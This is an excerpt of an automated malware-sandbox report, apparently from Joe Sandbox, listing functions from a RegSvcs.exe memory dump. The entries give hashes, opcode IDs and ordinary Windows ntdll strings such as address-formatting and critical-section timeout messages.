                                                          Function 01512DD0 Relevance: .0, Instructions: 4COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 47a07516b1de0d1491f8a9308d58181c48b92f15bb17e22ec092b5405436b66d
                                                          • Instruction ID: caf07af0425032221863847342929a9830bf9949e4c3db6c843f528e7a971e85
                                                          • Opcode Fuzzy Hash: 47a07516b1de0d1491f8a9308d58181c48b92f15bb17e22ec092b5405436b66d
                                                          • Instruction Fuzzy Hash: CC900223242451525545B19844055074086B7E1251799C412E1414D54CCA669956D721
                                                          Function 01512DB0 Relevance: .0, Instructions: 4COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 864890e046da42443157b576fef961fa583ee8808fb71fab08beae99c9ab962a
                                                          • Instruction ID: 02cd1af58af8216bda9a83171ecb0dd0ff34e0111366e4b8ebe52abd63223066
                                                          • Opcode Fuzzy Hash: 864890e046da42443157b576fef961fa583ee8808fb71fab08beae99c9ab962a
                                                          • Instruction Fuzzy Hash: B990023324141402D141719844056060089B7D1251F99C412E0424958ECB958B56AB61
                                                          Function 01512C60 Relevance: .0, Instructions: 4COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 11ba33b496daa688d63c295b02c4b8ca77bdc310caa1a541ae4d1ff3d884e8fb
                                                          • Instruction ID: ec00fdce4d6c9465d062924c176758607e46a1d5ebc17a825aaa50c5c5741e8d
                                                          • Opcode Fuzzy Hash: 11ba33b496daa688d63c295b02c4b8ca77bdc310caa1a541ae4d1ff3d884e8fb
                                                          • Instruction Fuzzy Hash: 8690023320141842D10071984405B460085A7E1311F59C416E0124A58DCB55C9517621
                                                          Function 01512CC0 Relevance: .0, Instructions: 4COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: b90ac9b5a94a18db47707b1a17b65d9069a2b5a0ab3ebb14db497c70706d6e20
                                                          • Instruction ID: 9a2dac10fbbea85b0cd33fc596ad3546a525540aab5de2baa421ef70e7c9b46e
                                                          • Opcode Fuzzy Hash: b90ac9b5a94a18db47707b1a17b65d9069a2b5a0ab3ebb14db497c70706d6e20
                                                          • Instruction Fuzzy Hash: CC90022360541402D140719854197060095A7D1211F59D411E0024958DCB998B5567A1
                                                          Function 01512CF0 Relevance: .0, Instructions: 4COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: f2d386dcaf403018d8635924f8bbe6972fcb5d1d0c5dade8facb8f06042fa344
                                                          • Instruction ID: 4b014946876e93f791e27775f9b7c36e4536cf0080435f511f46e62a5d1d0e45
                                                          • Opcode Fuzzy Hash: f2d386dcaf403018d8635924f8bbe6972fcb5d1d0c5dade8facb8f06042fa344
                                                          • Instruction Fuzzy Hash: CD90023320141403D100719855097070085A7D1211F59D811E042495CDDB9689516221
                                                          Function 01512CA0 Relevance: .0, Instructions: 4COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 7c0110a782f6cc0456eaaa212adcd639bad98b7829f65783a47fd32e770db49c
                                                          • Instruction ID: 009c6b341c85e83afff9f0c8e7845387edcf3aa127c0b183f194ecd74a28a216
                                                          • Opcode Fuzzy Hash: 7c0110a782f6cc0456eaaa212adcd639bad98b7829f65783a47fd32e770db49c
                                                          • Instruction Fuzzy Hash: 7390023320141402D10075D854096460085A7E1311F59D411E5024959ECBA589916231
                                                          Function 01512F60 Relevance: .0, Instructions: 4COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: d551f0a5bb2dde76accb0a70579038c019ffb8c97e9f723b0f425ea68a15b6c5
                                                          • Instruction ID: 574f0ca0148b53d2670e137c93dffc5d2a9f3319b9bef96fddec5f557fcb4206
                                                          • Opcode Fuzzy Hash: d551f0a5bb2dde76accb0a70579038c019ffb8c97e9f723b0f425ea68a15b6c5
                                                          • Instruction Fuzzy Hash: AF90026321141042D1047198440570600C5A7E2211F59C412E2154958CCA698D615225
                                                          Function 01512F30 Relevance: .0, Instructions: 4COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: ab2421e40a81132ce772976e22fd60200149bfe63836fa4a39e9f0047c57fce9
                                                          • Instruction ID: 9b65ecf60f4fb5a72a34da3bf0abe7d4619712ffb29f938ee0c7dbf85a8bf68d
                                                          • Opcode Fuzzy Hash: ab2421e40a81132ce772976e22fd60200149bfe63836fa4a39e9f0047c57fce9
                                                          • Instruction Fuzzy Hash: 7190026334141442D10071984415B060085E7E2311F59C415E1064958DCB59CD526226
                                                          Function 01512FE0 Relevance: .0, Instructions: 4COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: dda4bd88104c444c3cbbccb85acd921baf310b290a71a809a1862121baf5fd3d
                                                          • Instruction ID: 518402df4ad28a8840d32812ff2b1f3908af46899651a2de74807f4714d04f95
                                                          • Opcode Fuzzy Hash: dda4bd88104c444c3cbbccb85acd921baf310b290a71a809a1862121baf5fd3d
                                                          • Instruction Fuzzy Hash: B4900223211C1042D20075A84C15B070085A7D1313F59C515E0154958CCE5589615621
                                                          Function 01512F90 Relevance: .0, Instructions: 4COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: b134a5cf5b16a02ef2ddcc3bf4fade5ad7d7734b63b96151888bc9bd7c9e231d
                                                          • Instruction ID: 8839481735dabfb8476652012f7b39606a6bd4a490fbf8ba19206235e218a0be
                                                          • Opcode Fuzzy Hash: b134a5cf5b16a02ef2ddcc3bf4fade5ad7d7734b63b96151888bc9bd7c9e231d
                                                          • Instruction Fuzzy Hash: 9D90023320181402D1007198481570B0085A7D1312F59C411E1164959DCB6589516671
                                                          Function 01512FB0 Relevance: .0, Instructions: 4COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 08b672b343074c61bab34807d7475082e2551e61cde5c2d46dea017cc1d723fd
                                                          • Instruction ID: 88509111300c38b2486eb8eb7f56e35da5265c8663701231a5e0d91c5f2c7277
                                                          • Opcode Fuzzy Hash: 08b672b343074c61bab34807d7475082e2551e61cde5c2d46dea017cc1d723fd
                                                          • Instruction Fuzzy Hash: 1A90022360141042414071A888459064085BBE2221759C521E0998954DCA9989655765
                                                          Function 01512FA0 Relevance: .0, Instructions: 4COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 0eed99ac9e6d8770a86fd35301422b53449241dca3466ce03c8a2b7ef56caff8
                                                          • Instruction ID: cd6876d233b378e44b0cdd923cb8550d25da38bca0b8c8bae8cec5e5e6d14868
                                                          • Opcode Fuzzy Hash: 0eed99ac9e6d8770a86fd35301422b53449241dca3466ce03c8a2b7ef56caff8
                                                          • Instruction Fuzzy Hash: 3090023320181402D100719848097470085A7D1312F59C411E5164959ECBA5C9916631
                                                          Function 01512E30 Relevance: .0, Instructions: 4COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 4901801a3ccfb2949781ed9b87089b987f9d246098a9624e0fdc9bb21164445c
                                                          • Instruction ID: 8981df695de63c356626e18d18b09344c35d42e53d0d22820ab0ad75257371e9
                                                          • Opcode Fuzzy Hash: 4901801a3ccfb2949781ed9b87089b987f9d246098a9624e0fdc9bb21164445c
                                                          • Instruction Fuzzy Hash: 4090022330141402D102719844156060089E7D2355F99C412E1424959DCB658A53A232
                                                          Function 01512EE0 Relevance: .0, Instructions: 4COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 0b84c8d248608d7d2d5f474b1691d7209dad22d2a6e0c593f48b920f291153f7
                                                          • Instruction ID: 91453f6d1ee95d29b3f6194c02ebcdd6de6cfebf993a043ee5395221fc73be2a
                                                          • Opcode Fuzzy Hash: 0b84c8d248608d7d2d5f474b1691d7209dad22d2a6e0c593f48b920f291153f7
                                                          • Instruction Fuzzy Hash: B390026320181403D140759848056070085A7D1312F59C411E2064959ECF698D516235
                                                          Function 01512E80 Relevance: .0, Instructions: 4COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: bc9c0738aae47b5c84d0dbfcf1e9d36fcd1d71be9c3ce7da715ae559bc3f11c4
                                                          • Instruction ID: 5725569e12d22f3786af2eb6c5da8f659ee489e0391ba7bdbb0cd8f6f426dd73
                                                          • Opcode Fuzzy Hash: bc9c0738aae47b5c84d0dbfcf1e9d36fcd1d71be9c3ce7da715ae559bc3f11c4
                                                          • Instruction Fuzzy Hash: 9990022360141502D10171984405616008AA7D1251F99C422E1024959ECF658A92A231
                                                          Function 01512EA0 Relevance: .0, Instructions: 4COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: fec0db3dd4e2d2022770cf866dc84cefe6a79fdb66c8dcac9c1e006faece7d82
                                                          • Instruction ID: e4178cb921a8002e44628f6e12df5bd6817ddff951974430162ff148de8cd83b
                                                          • Opcode Fuzzy Hash: fec0db3dd4e2d2022770cf866dc84cefe6a79fdb66c8dcac9c1e006faece7d82
                                                          • Instruction Fuzzy Hash: 9090027320141402D140719844057460085A7D1311F59C411E5064958ECB998ED56765
                                                          Function 01513010 Relevance: .0, Instructions: 4COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 6c93b4ab5581e32160aa93c9b56da7a6378401c0a08ae7c3505e3ed0ab515026
                                                          • Instruction ID: 16b98a208c0dcfebd2fba50879025659c42a4f4227f6a6a6d592d66840dab974
                                                          • Opcode Fuzzy Hash: 6c93b4ab5581e32160aa93c9b56da7a6378401c0a08ae7c3505e3ed0ab515026
                                                          • Instruction Fuzzy Hash: 1990022320185442D14072984805B0F4185A7E2212F99C419E4156958CCE5589555721
                                                          Function 01513090 Relevance: .0, Instructions: 4COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: c5f19b1cf4da5d3d01df7d359a743efa1a5ae3edaadd56e9938991c4863372a4
                                                          • Instruction ID: 7a9c3833aa2b3cdff5f040154b5f5f43088a549721be31e35bf3325c6a688e3d
                                                          • Opcode Fuzzy Hash: c5f19b1cf4da5d3d01df7d359a743efa1a5ae3edaadd56e9938991c4863372a4
                                                          • Instruction Fuzzy Hash: A190022324141802D140719884157070086E7D1611F59C411E0024958DCB568A6567B1
                                                          Function 015139B0 Relevance: .0, Instructions: 4COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 8d291318ad4637d885bdb4cb1b064c4ac7039286c7f158ef43348aeed2c31a52
                                                          • Instruction ID: ff11fc8910e93830b548b7839b64a1a001bdc0d7afd85ae6e62de43ae0db6dac
                                                          • Opcode Fuzzy Hash: 8d291318ad4637d885bdb4cb1b064c4ac7039286c7f158ef43348aeed2c31a52
                                                          • Instruction Fuzzy Hash: EF90022324546102D150719C44056164085B7E1211F59C421E0814998DCA9589556321
                                                          Function 01513D70 Relevance: .0, Instructions: 4COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 63030dcab276916c7cd34f1704404334cfb1353637e7fbff9156d551223b6c28
                                                          • Instruction ID: 21886ffe48eefaf81f964c90c13c4986b25415866b1cb9ab49ba7703fb6c0142
                                                          • Opcode Fuzzy Hash: 63030dcab276916c7cd34f1704404334cfb1353637e7fbff9156d551223b6c28
                                                          • Instruction Fuzzy Hash: 2090023720141402D5107198580564600C6A7D1311F59D811E042495CDCB9489A1A221
                                                          Function 01513D10 Relevance: .0, Instructions: 4COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 8e745b328f06c6344c9a2f6ff46925ee57cc3bd750bdb1d6ba3d025a2b5c31e1
                                                          • Instruction ID: c69ac099f3c80980c13c7c95324269f60bb1ff27f97d626d914a864cf044b2cd
                                                          • Opcode Fuzzy Hash: 8e745b328f06c6344c9a2f6ff46925ee57cc3bd750bdb1d6ba3d025a2b5c31e1
                                                          • Instruction Fuzzy Hash: 1B90023320241142954072985805A4E4185A7E2312B99D815E0015958CCE5489615321
                                                          Function 01512C00 Relevance: .0, Instructions: 2COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
                                                          • Instruction ID: 3aa530bd9f9da46c43373b1a0acd4f4e5db6b312c331b1a8573885668b0fdd4a
                                                          • Opcode Fuzzy Hash: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
                                                          • Instruction Fuzzy Hash:
                                                          Function 01512890 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 190COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID: ___swprintf_l
                                                          • String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
                                                          • API String ID: 48624451-2108815105
                                                          • Opcode ID: c91673bea96281769799926cbf028d6a6402208403c978aed691629fc0c77e2a
                                                          • Instruction ID: 4d71cf93870a32284e4e170306e336cb7e6c1f891b409e8fc2fc425ce4abf445
                                                          • Opcode Fuzzy Hash: c91673bea96281769799926cbf028d6a6402208403c978aed691629fc0c77e2a
                                                          • Instruction Fuzzy Hash: B551D7B6A00216BFEB12DF9C899097EFBF8BB48240B64C129F555DB645D334DE408BE0
                                                          Function 01582410 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 189COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID: ___swprintf_l
                                                          • String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
                                                          • API String ID: 48624451-2108815105
                                                          • Opcode ID: aa97458d6092c39f1a225a12572c782ca8f0ce6d407fbc779da3c01aba610752
                                                          • Instruction ID: 7f09cc2e5ac3dfe9c1942077c0a6c8929c37776639c540b51da3c9774ba94be5
                                                          • Opcode Fuzzy Hash: aa97458d6092c39f1a225a12572c782ca8f0ce6d407fbc779da3c01aba610752
                                                          • Instruction Fuzzy Hash: 5451F4B5A40646AEDB20EE5DC89097FBFF8BF44200F44885AE4D6EF681E674DA00C770
                                                          Function 01507630 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 194COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 01544655
                                                          • CLIENT(ntdll): Processing section info %ws..., xrefs: 01544787
                                                          • CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 01544725
                                                          • CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 015446FC
                                                          • Execute=1, xrefs: 01544713
                                                          • CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 01544742
                                                          • ExecuteOptions, xrefs: 015446A0
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
                                                          • API String ID: 0-484625025
                                                          • Opcode ID: eebb323422904eb371951b8109a0e21761788e3305c4c8a944451843dd31414f
                                                          • Instruction ID: 74c2498aa8ab1d8cd795a21788d5c85d019b3ebdd593dda598d1dae989d098e7
                                                          • Opcode Fuzzy Hash: eebb323422904eb371951b8109a0e21761788e3305c4c8a944451843dd31414f
                                                          • Instruction Fuzzy Hash: 89514B3160020ABBEF12EAE8DC95FAD77A8BF58744F14009AD606AF1D1D770AA458F50
                                                          Function 015A6940 Relevance: 9.4, APIs: 6, Instructions: 416COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 2a48bdd4d8ea14c469ad441b94cf96c101b09c67394ceba66eb56f2a3b9e53c1
                                                          • Instruction ID: aa30154bbe347be4fea2d10d7b53b4b234a6e2d34eb9087b16102085f7d63ba3
                                                          • Opcode Fuzzy Hash: 2a48bdd4d8ea14c469ad441b94cf96c101b09c67394ceba66eb56f2a3b9e53c1
                                                          • Instruction Fuzzy Hash: FF020471548342AFD305CF28C490A6FBBE5FFC8700F84892DBA998B264DB71E945CB52
                                                          Function 0151B5EC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 238COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID: __aulldvrm
                                                          • String ID: +$-$0$0
                                                          • API String ID: 1302938615-699404926
                                                          • Opcode ID: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
                                                          • Instruction ID: f5e176e961f0b6da425b7870111e6e4e95e77a4c474b9f3dadefdedc69d8df11
                                                          • Opcode Fuzzy Hash: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
                                                          • Instruction Fuzzy Hash: 5081D170E0524A9EFF278E6CC8907FEBBB1BF55720F184A19D851AF299C7348840CB61
                                                          Function 015820E0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 84COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID: ___swprintf_l
                                                          • String ID: %%%u$[$]:%u
                                                          • API String ID: 48624451-2819853543
                                                          • Opcode ID: 4df3156c523e70c7d0f669e880d08b1eff414b02bdc27d1676c782b1271fab48
                                                          • Instruction ID: e8786bc6c5ef11444cbc83e810c3bab9418f133a1d60c9a0c69fe5c39b74707d
                                                          • Opcode Fuzzy Hash: 4df3156c523e70c7d0f669e880d08b1eff414b02bdc27d1676c782b1271fab48
                                                          • Instruction Fuzzy Hash: 5921657AA0011AABDB11EF79CC40AEE7FF8FF54644F54012AE905E7244E730D911CBA1
                                                          Function 014FF5B0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 382COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 015402E7
                                                          • RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 015402BD
                                                          • RTL: Re-Waiting, xrefs: 0154031E
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u$RTL: Re-Waiting
                                                          • API String ID: 0-2474120054
                                                          • Opcode ID: 0dbd05da6ee4db4f93009731795933cc33feff24978a441c9dc4306e6e251094
                                                          • Instruction ID: 72ba8d594e570dbccb1e3aae0c4933d82d8ca7fd677fa2a5113966577b62e800
                                                          • Opcode Fuzzy Hash: 0dbd05da6ee4db4f93009731795933cc33feff24978a441c9dc4306e6e251094
                                                          • Instruction Fuzzy Hash: 7BE1B2316087429FE725CF28C884B5ABBE0BF84714F240A5EF6A58B3E1D774D849CB42
                                                          Function 0150BED0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 01547B7F
                                                          • RTL: Resource at %p, xrefs: 01547B8E
                                                          • RTL: Re-Waiting, xrefs: 01547BAC
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 014A0000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_14a0000_RegSvcs.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                                                          • API String ID: 0-871070163
                                                          • Opcode ID: dafdbb0a5e4d2a9b47779506ff868ac1d989d88114b05a5608e7db7d8c47d03c
                                                          • Instruction ID: 807058155cd81d3a44174f106b8b8a3c69af269eac6b63c19e3b0557252c29b0
                                                          • Opcode Fuzzy Hash: dafdbb0a5e4d2a9b47779506ff868ac1d989d88114b05a5608e7db7d8c47d03c
                                                          • Instruction Fuzzy Hash: 6141D1353007039FD726DE69C880B6AB7E5FB98710F100A1EF9669F280EB71E8058B91
